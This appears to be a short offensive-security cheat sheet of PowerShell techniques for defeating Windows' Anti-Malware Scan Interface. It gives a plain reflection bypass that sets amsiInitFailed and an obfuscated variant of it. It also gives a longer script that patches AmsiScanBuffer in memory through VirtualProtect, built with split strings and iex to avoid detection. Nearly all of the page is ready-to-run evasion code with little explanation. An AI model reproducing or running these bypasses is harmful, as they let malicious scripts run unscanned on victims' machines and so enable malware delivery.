PowerShell Bypasses

Setting amsiInitFailed to $null

The System.Management.Automation namespace is the root namespace for the Windows PowerShell. This technique is therefore PowerShell specific and only affect the Anti Malware Scan-Interface for PowerShell script-code.

Clean bypass

$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

Obfuscated bypass

(([Ref].Assembly.GetTypes() | Where-Object {$_.Name -like '*iUtils'}).GetFields('NonPublic,Static') | Where-Object {$_.Name -like '*Failed'}).SetValue($null, $true)

.NET AMSI-scan

amsi.dll is loaded into a new process to hook any input in the PowerShell command line or to analyse content for [System.Reflection.Assembly]::Load() calls.

function getProcAddress {
    Param (
        [OutputType([IntPtr])]

        [Parameter( Position = 0, Mandatory = $true)]
        [String]
        $moduleName, 

        [Parameter( Position = 1, Mandatory = $true)]
        [String]
        $functionName
    )

    # Get reference to System.dll in the GAC
    $sysassembly = [System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
        $_.GlobalAssemblyCache -and $_.Location.Split('\\')[-1] -eq 'System.dll'
    }

    $types = $sysassembly.GetTypes()
    $unsafenativemethods = ForEach ($type in $types) {
        $type | Where-Object {$_.FullName -like '*NativeMethods' -and $_.Fullname -like '*Win32*' -and $_.Fullname -like '*Un*'}
    }

    # Get reference to GetModuleHandle and GetProcAddress methods
    $modulehandle = $unsafenativemethods.GetMethods() | Where-Object {$_.Name -like '*Handle' -and $_.Name -like '*Module*'}
    $procaddress = $unsafenativemethods.GetMethods() | Where-Object {$_.Name -like '*Address' -and $_.Name -like '*Proc*'} | Select-Object -First 1

    # Get handle on module specified
    $module = $modulehandle.Invoke($null, @($moduleName))
    $procaddress.Invoke($null, @($module, $functionName))
}

function getDelegateType {

	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
		[Parameter(Position = 1)] [Type] $delType = [Void]
	)

	$type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
      [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
      SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
      SetImplementationFlags('Runtime, Managed')

	return $type.CreateType()
}

$ansi = "a"+"msi."+"dll"
$sb = "Amsi" + "Scan" + "Buffer"
$sbAddr = getProcAddress $ansi $sb

$vpAddr = getProcAddress 'kernel32.dll' 'VirtualProtect'
$vpDelegate = getDelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) Boolean
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vpAddr, $vpDelegate)

$p = 0
$VirtualProtect.Invoke($sbAddr, [uint32]5, 0x40, [ref]$p)
$pb = [Byte[]] (184, 87, 0, 7, 128, 195)
$system = "[System"
$ri = "Runtime.InteropServices"
$marshal = "Marshal]"
$copy = "::Copy"

iex ($system + "." + $ri + "." + $marshal + $copy + "(`$pb, 0, `$sbAddr, 6)")

Last updated